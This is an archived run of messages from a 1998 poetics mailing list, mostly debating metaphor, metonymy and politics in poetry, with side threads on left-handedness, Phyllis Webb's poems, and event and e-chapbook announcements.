> *immediate, didactic element into a poem. Or a poet might try to carefully DISTORT "transparent language" in a way that brings out what such language conceals. Or a poet might design an allegory or symbol of a many-sided political situation - this seems like the function of metaphor on a "macro" level. Or a poet might "be political" by NOT being political - by foregrounding emotion, sensibility, aesthetics, in order to substantiate these evidences of life and humanity outside of any power situation, or, conversely, to present a reality that SHOULD exist if there were justice in the world.*
>
> *All these forms of communication in poetry seem to be happening all the time in very complex ways. To "not use metaphor" seems sort of isolated to me as a literary "strategy". Isolated or abstract or something. But these questions of a writer's "contract" or position or strategy within the larger environment of what a society is doing - whether or not a particular writer can consciously manipulate these issues and remain an artist at all - these issues are the pivot around which the political aspect of someone's work revolve.*
> *- Henry Gould*

↑ Index

494. William Burmeister Prod
Re: Sinister & Gauche
Thu 12 Mar 1998

Ambidextrous for me too--all seventeen flailing tentacles. Once worked at corney island as a batting machine.

↑ Index

495. Henry Gould
Re: metaphoracity redux
Thu 12 Mar 1998

On Thu, 12 Mar 1998 11:39:02 -0600 Patrick F. Durgin said:
> Those outside the status quo use poetry to gain acceptance . . .
>or some such problematic and seemingly facile assesment?! Could you
>provide an example or some sort of situation for this statement?
> Patrick F. Durgin

Apologies for long turgid double post on this. I was out at the Century Lounge until way late last night, playing harp & drinking Old Grandad. My excuse for the semi-pseudo-rationalism.

I was referring to the general phenomenon of "co-optation". Knowledge and literacy are power. The institutions of knowledge are the cream of the

established order. I'm not judging that order as good or bad; just remarking on a system in which voices of alienation, protest, satire, subversion, condemnation - voices formalized in art - are rewarded with honorary degrees, faculty positions, grants, attention, and all the perquisites of membership in that establishment. - Henry Gould (writes left, bats right, throws left, tennis right, kicks left, guitar right, harmonica both hands, brain confused) (Sonny Terry was blind and played the harp upside down.)

"Official literature is trash. The rest is stolen air." - Mandelstam

I harbor no resentment, hold no one in contempt, wish for the overthrow of no status quo, believe you get what you deserve, like what I like, and that does not include stale granola.

↑ Index

496. **Joseph Lease**
Re: Hilda Morley
Thu 12 Mar 1998

I just want to add my best wishes and love for Hilda Morley. Hilda Morley is a great poet with a magnificent ear. Her work is wonderful, wonderful music.

Joseph

↑ Index

497. **Michael Coffey**
Re: sinister -Reply
Thu 12 Mar 1998

i haven't had chance to read all the sinisterial emails, so this fact may already have been posted: we are running an item in Publishers Weekly this week about a forthcoming autobiography by longtime publisher Barney Rosset (Grove Press co-founder). His title is "The Subject is Left-Handed," and derives from a comment found in Rosset's FBI file.

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498. **linda russo**
Re: metaphoracity redux
Thu 12 Mar 1998

> *From: Maria Damon <[redacted]>*
>
> *it seems that some postmodern poetry disregards metaphor FOR political reasons -- i'm wondering abt. this distinction.*

> *while i suspect the answer could be construed to be yes, the most famous example of this is not a postmodern one: Neruda i think, said something like "the blood of the children ran in the streets like the blood of the children ran in the streets."*

or, a little closer to home, "So much depends . . ." or any number of wcw poems where the gesture is "look" and not "compare" or "look at me looking at that!" (which perhaps next natural gesture is to compare "you look at that different than i look at that)(granted this maybe oversimplifying b/c (so much lyric) poetry already says "see me looking"). But there's a way in which metaphor doesn't just let things be in the world and be seen there in whatever "chance" association. metaphor forces association (which forces universality -- this poem is so you see like me)

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499. DANIEL L. COLLIER
Re: sinister and gauche
Thu 12 Mar 1998

Bob,

Maybe you should add a box to your survey for cases like Steve's friend?

Everyone else,

Since language and handedness are physiologically connected, what effects might a forced switch to the right hand have had on (for example) David Bromige's father?

Sound off: how many on this list are Adult Children of Repressed Lefties?

(I'm serious about the forced switch question.)

Danny.

"Oh, how you live there./You have your hippopotamus/while we're in the storeroom/with holes in our pockets/and here it's funny, simply funny." -- Boris Grebinshikov

---

Date: Sun, 1 Mar 1998 15:40:02 -0800
From: Steve Tills <[redacted]>
Subject: Re: sinister and gauche

I know a fellow who's mostly righthanded, but masturbates
lefthanded, says he likes that hand better for couple sex, too.
Always thought that was a quite interesting idiosyncracy.
Stills

↑ Index

500. Martin Spinelli
sinister
Thu 12 Mar 1998

> > i was SHOCKED to see Clinton, Bush and Perot writing with their
> > left hands. Is this true?
>
> Not only them, but also Reagan.

Not only Reagan, but also Attila the Hun, Benito Mussolini, Robert Bly, and Collin Staplehurst (my butcher) were/are all lefties! Could the "sinister" conflation have a grain of truth!?!?!

With such overwhelming evidence perhaps someone should table a motion to forcibly eject all lefties from this list on the grounds of general degeneracy. Besides, who can understand them?

(I tried once, I really did, in 4th grade, to write with my left hand. Heather Bell, a girl whom neither my left nor my right brain had a crush on, was ordered to write righty by our evil principle Mrs. Topsic. She cried for almost an hour until Topsic left, then she resumed lefty. In a show of solidarity I too tried to write lefty. But alas my right brain would not be ruled and what resulted was a significant degradation of my already "N" for "needs-improvement" handwriting. I gave up after a day, Heather grew up and entered a convent, and Valley School didn't catch my dyslexia until I was 15. Does dyslexia count for anything?)

Apoplexically,
Martin

_____
Martin Spinelli SUNY Buffalo English Department
Granolithic Productions

[redacted]
LINEbreak http://writing.upenn.edu/epc/linebreak
ENGAGED http://www.engaged.demon.co.uk

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501. **sylvester pollet**

China Conference 1999

Thu 12 Mar 1998

Thought this might be of interest to the Poetics List. Does anyone know, off (left) hand, what a flight from NYC might cost? Approx.? Don't think I'll be able to go, but it is tempting. Thanks, Sylvester

> *The 18th International Ezra Pound Conference will be held in Beijing, China, July 16-19, 1999. Although Pound never visited the Far East, he drew much of his inspiration from Chinese poetry, Japanese haiku and Noh drama, and Confucian philosophy, which is threaded through _The Cantos_ In fact, in 1934, to answer Eliot's question, "What does Mr. Pound believe?" Pound said, "I believe the _Ta Hio_," that is, _The Great Learning_, a Confucian classic.*
>
> *The site of the Conference will be Beijing Foreign Studies University in a western suburb of Beijing. Participants can stay at a three-star hotel on campus for a special rate of $55 single, $60 double, per night, or at another campus hotel for $30 per night. Excursions will be made to such major attractions as the Forbidden City, Tiananmen Square, the Great Wall, Taishan, and Qufu, the birthplace of Confucius. There will be a special performance of the Peking Opera during the Conference.*
>
> *The Committee invites proposals for papers on this (or other) topic:*
>
> *EZRA POUND AND THE ORIENT*
>
> *Committee: Zhaoming Qian, University of New Orleans*
> *William McNaughton, City Polytechnic of Hong Kong*
> *William Pratt, Miami University of Ohio*
> *Richard Taylor, University of Bayreuth*
> *Jian Zhang, Beijing Foreign Studies University*
>
> *If you are interested in giving a paper at the Conference, send a synopsis of your proposal (about 250 words) to the Convenor: Professor Zhaoming Qian, Department of English, University of New Orleans, LA 70148, U.S.A. (FAX: [redacted]; E-mail: [redacted]). Limit for completed papers will be 30 minutes delivered, allowing time for discussion afterwards.*
>
> *Deadline for proposals: October 28, 1998.*
>
> *If you wish to submit a proposal for a paper, please write to Professor Qian directly. If you wish details of the Conference, E-mail Professor Zhang at:*
> [redacted]
>
> *A registration fee of $120 (1,000 yuan), payable upon official registration will cover admission to all events:*
> 1. *Social gathering on the evening of July 16*

> 2. *Breakfasts and lunches from July 17-19*
> 3. *Peking Opera performance on July 17*
> 4. *Banquet (offered by co-sponsor BFSU) on July 19*
> 5. *Afternoon tour of the Summer Palace and day tour of the Forbidden City and Tiananmen Square*
>
> *Limited additional charges will be made for the excursion to the Great Wall on July 20, and for the excursion to Taishan/Qufu, July 22-25. Bookings may be made during the registration period, March 15-June 10, 1999, with full advance payment possible by bank transfer or credit card.*

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502. **Thomas Bell**

Re: metaphoracity redux

Thu 12 Mar 1998

At 08:27 AM 3/12/98 EST, Henry Gould wrote:
>southern aristocracy and human "property" was in deep crisis) - the Author
>vs. the Rabble. This has been an abiding theme since the end of
>feudalism, just about. The question of common property or common good
>in every society and in world society - what is private, what is public,
>what is allowed as luxury, what is deemed necessary for survival - and
>how decisions like this are made, if they are made - affects the
>Literature Industry and every work of writing. So a poet might choose
>to "deny art" - to "not use metaphor" - to do "straight reporting" or
>use "transparent, functional language" - "include documentary material" -
>etc. not only to "be political", but to change the dynamic of the
>literary contract between author and readers. To try to import an
>immediate, didactic element into a poem. Or a poet might try to
>carefully DISTORT "transparent language" in a way that brings out what
>such language conceals. Or a poet might design an allegory or symbol
>of a many-sided political situation - this seems like the function
>of metaphor on a "macro" level. Or a poet might "be political" by
>NOT being political - by foregrounding emotion, sensibility, aesthetics,
>in order to substantiate these evidences of life and humanity outside
>of any power situation, or, conversely, to present a reality that
>SHOULD exist if there were justice in the world.
>
>All these forms of communication in poetry seem to be happening all the
>time in very complex ways. To "not use metaphor" seems sort of
>isolated to me as a literary "strategy". Isolated or abstract or
>something. But these questions of a writer's "contract" or position

>or strategy within the larger environment of what a society is doing
>- whether or not a particular writer can consciously manipulate these
>issues and remain an artist at all - these issues are the pivot around
>which the political aspect of someone's work revolve.
>- Henry Gould
>
>

I can't tell if you are advocating tendentious poetry here, but this might be because of my reading or misreading here. It does seem to me that "conscious manipulation"'s tendency toward adherence to predetermined form leaves little space for 'slack' (play) in the material's potential influence on the writer. tom bell

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503. **Kcglowworm**
metaphor metonymy
Thu 12 Mar 1998

I for one still find the metaphor-metonymy distinction useful in terms of its application to how the mind works, in terms of poetic processes, and in terms of ideological-political questions. This distinction plays a key role in my article, "Althusser Metonymy China Wall," which Barry Watten and Lyn Hejinian are reprinting in the next Poetics Journal. My use of these terms, however, is itself metaphorical in the common sense (terms from one realm operating within another).

Before printing the appropriate passages from that article, however, I want to say that I am troubled by the idea that because structuralism, marxism, post-structuralism, and other such movements had their moments of glory in past decades, they are now no longer of interest. I believe there is still a lot to learned by continuing those and other decade-identified projects, despite their no longer being particularly faddish or academically marketable.

George Hartley

Two passages from the above-mentioned article:

1. But I first want to pose a strategic distinction between metaphor and metonymy. Metaphor might be seen as a transcendental movement; through metaphor we translate the terms from one field into the terms of another, the relationship or positioning between these terms seen as vertical, a substitution from above to below, inside to outside. Metaphor assumes a certain equivalence, a reduction of differences, between the two terms in order for this

substitution to be possible. Metonymy, on the other hand, works laterally, establishing relationships of contiguity through pairings and displacements. This shift from metaphor to metonymy moves us from transcendence to immanence. As both Althusser and Kafka will suggest, metaphor is inherently theological in its structuring of mediation itself as a relationship to something outside or above the structure or terrain, and by its positioning of the mediator as one who inhabits a space or opening between us and some external power.

2. The building of the wall presents an enigma: why would the high command, if their intention is to safeguard us from the fierce nomads of the North, plan this piecemeal method of construction which leaves gapse in the protective structure? The answer to this leads to more enigmas. The high command, in its infinite wisdom, really intended to produce the side-effects of the wall- building process—the sense of purpose, the unity, the cooperation, the willful, even enthusiastic, submission to the dictates of the high command—rather than the wall itself. Or, as the scholar in the story explains, they really wanted to build a foundation for a tower that would complete the abandoned project of the Tower of Babel. But how can a quarter-circle structure with extensive gaps provide such a base? Hence the conclusion that the tower must be meant spiritually, metaphorically. Which raises the next question, Why then build the wall itself if the tower is only a metaphor? The narrator's answer, which comes later in the tale and with no explicit connection, is that the tower is a metaphor for the "superficial culture mounting sky-high around a few precepts that have been drilled into people's minds for centuries, precepts which, though they have lost nothing of their eternal truth, remain entirely invisible in this fog of confusion." The building of the wall, the enclosure of a political and ideological space, somehow provides a base for the installations of the high command itself in the tower, elevating them above the people like the mysterious and absent gods they appear to be to the common people. The building of the wall, in other words, maintains and constantly reproduces the conditions of hierarchy which make the high command, the imperial sun itself, possible in the first place in its metaphoric transcendence beyond the world of the village. "But it is precisely this question of empire," the narrator tells us, "which in my opinion the common people should seek to answer, since they after all are the empire's final support." The support of the tower, then, is not the wall at all but the people in their process of building it as an enclosure.

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504. **Aldon Nielsen**
near miss
Thu 12 Mar 1998

---

so now our date with the asteroid has been called off -- the groom's still waiting at the altar -- xf11, we hardly knew ye

metonymically yours,
Lefty

↑ Index

505. **Scott Pound**
Re: sinister
Thu 12 Mar 1998

> *At 3:26 PM -0800 3/11/98, Roger Farr wrote:*
> *Phyllis Webb, Canada's greatest living*
> *Roger*
>
> *wow, never heard of her; is this a general consensus? tell me more, if this isn't too elementary and boring for everyone else on the list.--md*

Well, Phyllis Webb is a marvellous poet, who in addition to the Left Hand Poems wrote _Naked Poems_ circa 1965. e.g.

I use the word groves
light falling
found in the orchard
finding what fell by a
breath

Talon books published a selected in 1982.

↑ Index

506. **George Thompson**
Re: metaphoracity redux
Thu 12 Mar 1998

In response to Linda Russo's post:

> *From: Maria Damon <[redacted]>*
>
> *it seems that some postmodern poetry disregards metaphor FOR political reasons -- i'm wondering abt. this distinction.*
>
> *while i suspect the answer could be construed to be yes, the most famous example of this is not a postmodern one: Neruda i think, said something like "the blood of the children ran in the streets like the blood of the*

> *children ran in the streets."*
>
> *or, a little closer to home, "So much depends . . ." or any number of wcw poems where the gesture is "look" and not "compare" or "look at me looking at that!" (which perhaps next natural gesture is to compare "you look at that different than i look at that)(granted this maybe oversimplifying b/c (so much lyric) poetry already says "see me looking"). But there's a way in which metaphor doesn't just let things be in the world and be seen there in whatever "chance" association. metaphor forces association (which forces universality -- this poem is so you see like me)*

This is very interesting. I think I see what you mean now. That is a good and desirable thing: to see a red wheelbarrow as what it is, instead of comparing it to something else.

But I'm not so sure that we can ever see things as they really are. Ever. I think that's, like, god's territory [as Yeats or that Spandrift rogue has already said somewhere, somewhat more lyrically]. And besides, who's god? Not me.

Does that make me a popomo? or just another pomo? or just a mo?

GT

↑ Index

507. **Philip Mead**
Re: Steve McCaffery shafted
Thu 12 Mar 1998

---

that's reassuring to hear, I was just about to hit the keyboard in response to Ron Silliman's account of the situtation. Best wishes, Steve and Karen, hope you're well.

Philip

>>>

508. Thomas Bell
Re: metaphoracity redux
Thu 12 Mar 1998

Interesting point. If I understand you right, you are saying metaphor is more directive and "guides" the auditor in a particular direction. This is true of metaphor in therapy and hypnosis, but I hadn't made the same connection for literature. tom bell

At 07:58 PM 3/12/98 +0000, linda russo wrote:
>> From: Maria Damon <[redacted]>
>> >
>> >it seems that some postmodern poetry disregards metaphor FOR
>> >political reasons -- i'm wondering abt. this distinction.
>>
>> while i suspect the answer could be construed to be yes, the most famous
>> example of this is not a postmodern one: Neruda i think, said something
>> like "the blood of the children ran in the streets like the blood of the
>> children ran in the streets."
>
>or, a little closer to home, "So much depends . . ." or any number of
>wcw poems where the gesture is "look" and not "compare" or "look at
>me looking at that!" (which perhaps next natural gesture is to
>compare "you look at that different than i look at that)(granted
>this maybe oversimplifying b/c (so much lyric) poetry already says
>"see me looking"). But there's a way in which metaphor
>doesn't just let things be in the world and be seen there in whatever
>"chance" association. metaphor forces association (which forces
>universality -- this poem is so you see like me)
>
>

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509. Keston Sutherland
gaudy joy and other double-deckers
Thu 12 Mar 1998

ON THE OCCASION A REPAST

1.

Swoops in from the annex rip out his teeth and swearing
God all this modish
gladness is a crank tacit municipal pre-

tence i.e. that, not quite
everyone falls asleep
at the fact-end rewound lulls and shudders into what is
after all ideal
to the core, he's ogling a bunged aggregate. After what
or, which
ever undwindlingly abated where
was it she knelt - memory evades what
was where she would, impartial

hence, my feelings were propagated like prawn shells amongst packing foam.
Ideal to the bone splintered
and showered with rust and spry calc-
sinter in surprise aggregate protraction back-up all the bright historic
use-maneuvres and their payoffs in a speckled
blend a romance, clipped wings restored peicemeal. Every thing. So many
things
rubbish
ideal to the beginning
heart hung partly
aroused, partly wished like a plastic
fish in fixed glass admirable anticipating

further ideal or for a split life we sauntered down to the paddock, aware
was our word, we divined that dainty flesh have kids as yet unmilked. Yet their
barn is frankly they bleat, "ideal".

2.

A monumental petrol stop by the track-side 10 million snacks all conflated one
hell of a mess here, better to run

through the options vote in some order of sun beam
bonded by overt minimalised distraction

to its chorelessness lighting the repute outpost by the kitchenette window seen
through which crows and goats squirm, not themselves

apprehended as with number one strict darkly beheld
contrariness but likewise they're threatened and getting so, so tired

of just this, seived joy / once or twice again / glo in
the dark esteem piled beneath each chance-stop like a latent grin-voucher.

↑ Index

510. **George Thompson**
Re: metaphoracity redux
Thu 12 Mar 1998

Furthermore, when EP says "make it new", what does he mean? Does he mean "take a good long look and don't compare -- just put it there next to the wheel-barrow"?

I don't think so. I think he's talking about metaphor. Make it new. See it new, Metaphor.

No?

GT

↑ Index

511. **Henry Gould**
Re: metaphoracity redux
Thu 12 Mar 1998

On Thu, 12 Mar 1998 17:03:59 -0600 Thomas Bell said:
>
>I can't tell if you are advocating tendentious poetry here, but this
>might be because of my reading or misreading here. It does seem to
>me that "conscious manipulation"'s tendency toward adherence to
>predetermined form leaves little space for 'slack' (play) in the
>material's potential influence on the writer.
>tom bell

Every piece of writing is marked by a worldview and motivated to "get across" something. The decision to "let the poem take me where it leads or write itself" is no less motivated than any other. In my own experience the desire to "make a picture" in poetry involves welding together more than I expected or knew about when I began - this is the poem's own momentum. But the direction of the momentum is determined beforehand as clearly as possible. This welding process is a kind of play - but there are only 22 players in a soccer game. And there's a field they're playing on.

On another note: I regret the paranoia implicit in previous post today about "co-optation". I think that was basically wrong-headed. One would hope that society is not some determining Leviathan providing niches for the opposition. And the struggle to achieve a place to stand and criticize the problems facing the world does not equal being "co-opted". I will say though that it's important to look a gift horse in the mouth, if it comes from the Greeks. - Henry Gould

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512. **Henry Gould**
Re: metaphor metonymy
Thu 12 Mar 1998

On Thu, 12 Mar 1998 20:08:58 EST George Hartley wrote:
>
>Two passages from the above-mentioned article:
>
>1.
>But I first want to pose a strategic distinction between metaphor and=0Am=
>etonymy. Metaphor might be seen as a transcendental movement;
through=0Am=
>etaphor we translate the terms from one field into the terms of another, =
>the=0Arelationship or positioning between these terms seen as vertical, a=
>=0Asubstitution from above to below, inside to outside. Metaphor assumes =
>a=0Acertain equivalence, a reduction of differences, between the two term=
>s in=0Aorder for this substitution to be possible. Metonymy, on the other=
> hand, works=0Alaterally, establishing relationships of contiguity throug=
>h pairings and=0Adisplacements. This shift from metaphor to metonymy
move=
>s us from=0Atranscendence to immanence. As both Althusser and Kafka will
=
>suggest, metaphor=0Ais inherently theological in its structuring of media=
>tion itself as a=0Arelationship to something outside or above the structu=
>re or terrain, and by=0Aits positioning of the mediator as one who inhabi=
>ts a space or opening between=0Aus and some external power.

On the other hand, if one wanted to dismantle the concept of theology or transcendence, one could use metonymy rather than metaphor as the wall- breaker in just as strategic a fashion. As follows: "Metonymy might be seen as a transcendental movement: the Play of Dionysus moving with exquisite Randomness through the materiality of Smoke, Cigarette, Barstool, Dead Detective, Mirror, creating a Noir Cosmos out of Contiguity. Metaphor, on the other hand, by implying a pedestrian, rationalistic Likeness between disparate things, will never transcend the humdrum humanist willfulness of associations inherent in the earthbound gluing together (by means slime from the Babel Tower) of "similar" things." - Henry Gould

↑ Index

513. **louis stroffolino**
Re: metaphoracity redux
Thu 12 Mar 1998

I've never "bought" the anti-metaphor line, at least in any rigid sense (to say there are limits to metaphor or to any linguistic tool is one thing, but to say "metaphor forces association" and doesn't just let the world BE is quite another... for to condemn metaphor (or symbols, etc.) on the grounds of the latter, wouldn't one have to condemn POETRY on the grounds of the latter more generally? I mean, poetry, if it is referential (as the simple readings of WCW go), itself doesn't let the world BE, nor do I think it is necessary that we claim it should. By the way, I think that KARSTEN HARRIES essay in the SHeldon Stacks book ON METAPHOR (which touches on WCW and others), though I do not always agree with it, is very useful in addressing how WCW does NOT avoid metaphor, but rather employs it precisely to show its own (and the poem's) insufficiency....and THEN, only after engaging in what Stevens might call the act of the mind defending us from itself (in this Stevens and WCW are actually aligned--despite the well-publicized divisions between them), may be let the world BE (in a way perhaps we couldn't beforehand and is maybe why we 'turn to poetry'). Anyway, that's a simplisitc reading of Harries, but it at least points towards a view that allows for metaphor in 20th century poetry--- though I like the Neruda line too. Chris

On Thu, 12 Mar 1998, linda russo wrote:

> *From: Maria Damon <[redacted]>*
>
> *it seems that some postmodern poetry disregards metaphor FOR political reasons -- i'm wondering abt. this distinction.*
>
> *while i suspect the answer could be construed to be yes, the most famous example of this is not a postmodern one: Neruda i think, said something like "the blood of the children ran in the streets like the blood of the children ran in the streets."*
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514. **Carolyn Guertin**

Webb/metaphor/indirect speech

Fri 13 Mar 1998

'Edgar Allan Poe' wrote:

> *In my view if you're writing poetry you're already involved in the power structure. And indirect or direct speech are EQUIVALENT techniques. Indirect speech is often the most powerful. It is someone saying something too terrible to use words directly about. The metaphor or synecdoche or whatever only adds to the shock.*

Phyllis Webb wrote:

Treblinka Gas Chamber

"Klostermayer ordered another count of the children. Then their stars were snipped off and thrown into the centre of the courtyard. It looked like a field of buttercups." -- Joseph Hyams, _A Field of Buttercups_

fallingstars
'a field of
buttercups'
yellow stars
of David
falling

the prisoners
the children
falling

in heaps
on one another
they go down

Thanatos
showers
his dirty breath
they must breathe

him in

they see stars
behind their
eyes

David's
'a field of
buttercups'

a metaphor
where all that's
left lies down

(1980)

_____ Carolyn Guertin, Department of English, University of Alberta E-Mail: [redacted]; Tel/FAX: [redacted] Website: <http://www.ualberta.ca/~cguertin/Guertin.htm>

"Language is a virus."
-- Laurie Anderson

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515. Michael J. Kelleher
a l y r i c m a i l e r number 2
Fri 13 Mar 1998

Attention Poets and Friends!

a l y r i c m a i l e r NUMBER 2, an a l y r i c e-chap, featuring:

Limbic Odes

by Garrett Kalleberg

is up and running at:

http//writing.upenn.edu/AandL/english/pubs/spc/alyricmailer/alyric.htm

Garrett Kalleberg's is the publisher and editor of the new e-po-zine, The Transcendental Friend and is also editing at present a section on younger poets upcoming in Talisman. His work has appeared in Sulfur and American Letters & Commentary (among others) and appears also in the Anthology of New (American) Poets just out from Talisman. He lives and works in Brooklyn, New York, his place of birth.

Pass it on!
Print it out!
Hand it out!
Just make sure it gets out!

Issues forthcoming will feature: Eleni Sikelianos, Laird Hunt, Carrie Tocci, Ben Friedlander, Stephen Mounkhall, Rod Smith and Heathers Fuller and Ramsdell, et al.

Until then,

I remain

Mike

↑ Index

516. **Michael J. Kelleher**
a l y r i c m a i l e r #2
Fri 13 Mar 1998

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<P>by Garrett Kalleberg

<P>is up and running at:

<P><A HREF="http://writing.upenn.edu/AandL/english/pubs/spc/alyricmailer/alyric.htm">http//writing.upenn.edu/AandL/english/pubs/spc/alyricmailer/alyric.htm</A>

<P>Garrett Kalleberg's is the publisher and editor of the new e-po-zine,

The Transcendental Friend and is also editing at present a section on

younger poets upcoming in Talisman. His work has appeared in Sulfur and

American Letters & Commentary (among others) and appears also in the

Anthology of New (American) Poets just out from Talisman. He lives and

works in Brooklyn, New York, his place of birth.

<P>Pass it on!

Print it out!

Hand it out!

Just make sure it gets out!

<P>Issues forthcoming will feature: Eleni Sikelianos, Laird Hunt, Carrie

Tocci, Ben Friedlander, Stephen Mounkhall, Rod Smith and Heathers Fuller
and Ramsdell, et al.

<P>Until then,

<P>I remain

<P>Mike</HTML>

----------230BB5785BDDBC313B357D08--

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517. George Bowering

Re: left ee's

Fri 13 Mar 1998

> *My twin sister Tanya is a lefty, and I am a righty*
> *Both my grandmothers are left-handed, is this inerited down the female line?*

That's common between twins, at least fraternal twins. Same thing with my brother's twin daughters.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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518. George Bowering
Re: sinister
Fri 13 Mar 1998

> *At 3:26 PM -0800 3/11/98, Roger Farr wrote:*
> *Phyllis Webb, Canada's greatest living*
> *Roger*
>
> *wow, never heard of her; is this a general consensus? tell me more, if this isn't too elementary and boring for everyone else on the list.--md*

She is a great poet. Her _Naked Poems_ of three decades ago is the best short long poem I know of. She had a long correspondence with Robert Duncan, to give her a USAmerican context. But she doesnt need one.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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519. George Bowering
Re: Ambi-ducks-trous
Fri 13 Mar 1998

Ron's baseball story is interesting. My left-handed kid brother learned his baseball from me, a rightie, so he throws and bats right handed. But writes, etc left-handed. He plays gold every day now, and hits right handed. One summer day 3 years ago I set up a golf game between him and my Australian writer buddy Brian Edwards. Brian is a righthander who plays gold lefthanded, and my brother Roger is a lefthander who golfs righty. They played 18 holes, and were dead even going inmto the spectacular 18th at Fairview in Oliver, B.C. One of them wonm by a stroke but I forget which.

Incidentally, among the young, almost 50% of tennis players play lefthanded now, and about 1.5% of golfers do.

George Bowering.

,

2499 West 37th Ave.,

Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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520. **TBeck131**
goodbye
Fri 13 Mar 1998

I'm not sure what I hoped to find on the poetics list but I'm sure that I haven't found it. What I have encountered is a professorial smugness (people who can't or won't distinguish between living and dead poets; people who scoff at the political efficacy of writing) propped up by extraordinary silences (most of the list is voiceless most of the time). There's way too much concern with position--with laurels, with "winning", with self-congratulation and self-promotion. The sound of one hand (who gives a damn if it is left or right) clapping one's self on the back. You folks have a powerful tool at your disposal. One can only hope that you figure out how to make better use of it.

Signing off.

Tom Beckett

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521. **Maria Damon**
Re: metaphoracity redux
Fri 13 Mar 1998

At 7:58 PM +0000 3/12/98, linda russo wrote:
>> From: Maria Damon <[redacted]>
>> >
>> >it seems that some postmodern poetry disregards metaphor FOR
>> >political reasons -- i'm wondering abt. this distinction.
>>
>> while i suspect the answer could be construed to be yes, the most famous
>> example of this is not a postmodern one: Neruda i think, said something
>> like "the blood of the children ran in the streets like the blood of the
>> children ran in the streets."
>
>or, a little closer to home, "So much depends . . ." or any number of
>wcw poems where the gesture is "look" and not "compare" or "look at
>me looking at that!" (which perhaps next natural gesture is to
>compare "you look at that different than i look at that)(granted

>this maybe oversimplifying b/c (so much lyric) poetry already says
>"see me looking"). But there's a way in which metaphor
>doesn't just let things be in the world and be seen there in whatever
>"chance" association. metaphor forces association (which forces
>universality -- this poem is so you see like me)

i was responding to the political aspect of the issue.

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522. **Miekal And**
Re: goodbye
Fri 13 Mar 1998

---

tom, Im saddened that youve left the list, have felt similarly to you, that there is amazing potential on lists such as this one (& wri-eye-tings) bandwidth that is largely unexplored, & tho no medium is perfect, actions such as networking & extending one's own works into a public medium, & even learning, are goals that are quite reachable here. I wonder (if you are still here) if you would speak more to the failed hopes that you had, & wonder if there is any sense of an emotional overwhelmance, (which more than anything else with list participation, I become discouraged by, & usually a few days of space makes be hungry again for jumping back into the muck}

Id like to make it clear, that you were shaking the tree & fruit was falling within reach, tho, unfortunately, effects are sometimes the inverse of intent...

miekal

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523. **Douglas Barbour**
Re: Comprepoetica on sinister & gauche
Fri 13 Mar 1998

Bob G

You're irrepressible

or is that incorrigible...

==========
==========
Douglas Barbour
Department of English
University of Alberta
Edmonton Alberta T6G 2E5

[redacted] FAX:[redacted]
H: [redacted]
~~~
~~~

MC Box 135, Manchester College
603 E. College Ave., N. Manchester, IN 46962
[redacted]/5009, [redacted], [redacted]
Abigail A. Fuller and Neil Wollman,

Co-Chairs

Hello Colleagues:

We are writing because we have just learned that the TIAA-CREF Committee on Corporate Governance and Social Responsibility will be meeting this coming Tuesday (3/17), and are asking you to EMAIL CEO JOHN BIGGS BEFORE TUESDAY in support of the campaign. This is the group that has considered our proposal before. Coincidentally, we have telephoned a number of the people on the committee recently and found at least some support from some of them--or at least an openness to explore the situation further. Besides going over our basic arguments, we are urging them to at least bring in someone who has specific knowledge on positive investing to present that position.

We thank those of you who responded to our recent postal mailing and sent an email to TIAA-CREF and sent a copy to us. It would help enormously if those who have not yet written could send a brief email message to John Biggs, with copies to Albert Wilson and Martin Leibowitz, at [redacted]: ask them to do positive investing for the Social Choice Account, or at least allow someone knowledgable in that specific area to be involved the discussions. Ask that the message be forwarded to Biggs BEFORE TUESDAY. Send copies to us at [redacted] or [redacted].

There are over a hundred people around the country who have expressed interest in the campaign, and if all could write now, it might really be productive. Thanks much,

Neil and Abby

p.s. If at any time you wish to be taken off our mailing list, please let us know

_____
_____
_____

Annie Finch
http://muohio.edu/~finchar
Assistant Professor of English/Creative Writing
Miami University
Oxford, Ohio 45220

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526. **jarnot**
anthology of new american poets
Fri 13 Mar 1998

---

dear list,

everyone is invited to a party for

An Anthology of New (American) Poets from Talisman House
edited by Lisa Jarnot, Leonard Schwartz and Chris Stroffolino

at Teachers and Writers Collaborative
5 Union Square West
New York City

Tuesday March 17th

6-9 PM

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527. **Cadaly**
Forks and Honey
Fri 13 Mar 1998

<<I eat my peas with honey:
I've done it all my life.
It may taste kind of funny,
But it keeps them on my knife.

Here, the knife would be a fork if "fork" rhymed with "life">>

Interestingly, this poem has entered pop culture (and children's songs), as "fact": how peas were eaten before the fork was invented. Forks were first used to drain sauce off food. And were only available to artistocrats for a few hundred years.

What about spoons?

Regards,
Catherine Daly
[redacted]

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528. **Annie Finch**

"metaphor" on a bus: deconstructing

Fri 13 Mar 1998

I remember Geoffrey Hartmann and/or Paul deMan drawing a picture of a bus on a blackboard at Yale in 1978. It was a bus he had seen in Greece, and on the side it said "metaphor" in Greek letters. Apparently that was a standard word on Athens busses; the busses "carried things over" or something. He (whichever man it was) thought that was marvellous, and he drew an adorable bus. It was one of the rare times in the course that I saw him evince joy at something. The bus was so REAL, I now realize. I think it somehow let him (DeMan, I think it was, actually) off the hook.

That minute was the first time that I heard the word trope. Tropes were absolutely the cat's pajamas (now that's a good metonym-metaphor combination) then. We read a Nietzsche essay that used how metaphors work to show that nothing meant anything, and my friends and I had our minds duly blown, blown down to the bottom. And, moreover, we felt terror at having our minds blown, as we were supposed to.

I can't help wondering if the 80's turn away from metaphor was a backlash reaction to such overmystification of metaphor. SO much (or the lack of so much) depended on metaphor. Metaphor, not metonymy, was the hardcore trope of choice in that particular "Lit X" classroom.

Obviously, this has nothing to do with Linda's original query (I think not, anyway. On the other hand, such machinations with metaphor obviously didn't help the perception that metaphor would be helpful for poems that wanted to engage with the world politically). Annie

_____
_____
_____

Annie Finch
http://muohio.edu/~finchar
Assistant Professor of English/Creative Writing
Miami University
Oxford, Ohio 45220

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529. **Patrick F. Durgin**
Re: goodbye
Fri 13 Mar 1998

